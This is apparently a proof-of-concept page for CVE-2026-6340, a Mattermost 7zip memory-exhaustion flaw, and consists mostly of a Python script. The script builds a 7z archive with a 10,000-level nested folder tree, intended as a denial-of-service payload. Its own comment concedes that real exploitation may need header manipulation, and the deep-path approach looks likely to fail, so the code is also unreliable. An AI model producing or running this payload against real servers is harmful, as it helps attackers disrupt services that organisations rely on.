CVE-2026-6340: Mattermost 7zip解析内存耗尽漏洞

# Proof of Concept: Create a malicious 7zip file with excessive folders # This script generates a 7zip archive containing a deeply nested directory structure # which can trigger memory exhaustion in vulnerable Mattermost versions. import py7zr import os # Create a temporary directory structure depth = 10000 base_path = 'malicious_payload' # Generate deep path (simulation of excessive folder declarations) # Note: Actual exploitation may require specific binary manipulation of 7zip headers. path = os.path.join(base_path, *['folder'] * depth) os.makedirs(path, exist_ok=True) # Create a dummy file at the end with open(os.path.join(path, 'trigger.txt'), 'w') as f: f.write('DoS Trigger') # Compress to 7z with py7zr.SevenZipFile('exploit.7z', 'w') as archive: archive.writeall(base_path, 'base') print('Malicious 7zip file generated: exploit.7z')